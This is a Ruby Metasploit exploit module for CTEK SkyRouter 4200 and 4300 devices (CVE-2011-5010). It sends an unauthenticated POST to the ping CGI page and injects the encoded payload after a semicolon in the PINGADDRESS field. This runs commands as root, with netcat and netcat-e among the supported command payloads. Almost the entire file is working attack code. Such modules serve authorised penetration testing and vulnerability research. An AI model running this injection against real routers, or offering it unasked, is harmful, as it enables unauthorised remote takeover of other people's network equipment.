metasploit-framework/modules/exploits/unix/http/ctek_skyrouter.rb

65 lines
1.8 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'CTEK SkyRouter 4200 and 4300 Command Execution',
'Description' => %q{
This module exploits an unauthenticated remote root exploit within ctek SkyRouter 4200 and 4300.
},
'Author' => [ 'savant42' ], #with module help from kos
'License' => MSF_LICENSE,
'References' => [
['CVE', '2011-5010'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet netcat netcat-e',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Sep 8 2011', # CGI historical date :)
'DefaultTarget' => 0))
end
def exploit
post_data = "MYLINK=%2Fapps%2Fa3%2Fcfg_ethping.cgi&CMD=u&PINGADDRESS=;" + Rex::Text.uri_encode(payload.encoded) + "+%26"
uri = '/apps/a3/cfg_ethping.cgi'
print_status("Sending HTTP request for #{uri}")
res = send_request_cgi( {
'global' => true,
'uri' => uri,
'method' => "POST",
'data' => post_data
}, 30)
if res
print_status("The server responded with HTTP CODE #{res.code}")
else
print_status("The server did not respond to our request")
end
handler
end
end